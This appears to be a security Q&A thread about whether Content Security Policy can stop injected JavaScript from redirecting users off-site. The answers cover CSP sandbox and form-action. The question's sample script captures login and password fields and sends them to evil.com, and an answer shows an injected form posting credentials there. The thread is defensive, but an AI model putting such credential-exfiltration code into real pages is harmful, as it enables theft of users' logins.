2

Following this question, is there a way to prevent this code from redirecting users to domains not whitelisted?

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    window.location.href = 'http://evil.com/?login=' + login + '&password=' + password
}

Is there a clean way to do it? Like Content Security Policy or something similar?

CheddarLizzard
  • 222
  • 2
  • 8

2 Answers2

3

Sadly, it's not possible.

You can check that with the following HTML snippet where the default CSP directive is set to none (except script-src):

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'">
<script>window.location = '?' + Math.random();</script>

Since window.location is a non-configurable property, it's not possible to rewrite / proxy it to match your needs.

Note: it's possible to listen for the beforeunload event and trying to prevent it, but the user will most likely ignore the warning message that will show up.

Benoit Esnard
  • 13,942
  • 7
  • 65
  • 65
1

There is a CSP directive that prevents this, but it's probably not what you meant:

Content-Security-Policy: sandbox

This disables all JavaScript, making it impossible to redirect by assigning to window.location.

However, stealing passwords may be possible with an HTML injection attack even if you disable JavaScript. If an attacker can inject his own <form action="http://evil.com/"> tag, the credentials from the login form are sent to the attacker.

Sjoerd
  • 28,707
  • 12
  • 74
  • 102
  • Thank you for your answer. I got HTML injection covered, but your example reminds me of something: An attacker can use JavaScript to edit the `action` attribute of the login form, thus posting its content to http://evil.com/. Note that the [form-action](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action) CSP can prevent that. – CheddarLizzard Feb 06 '19 at 18:58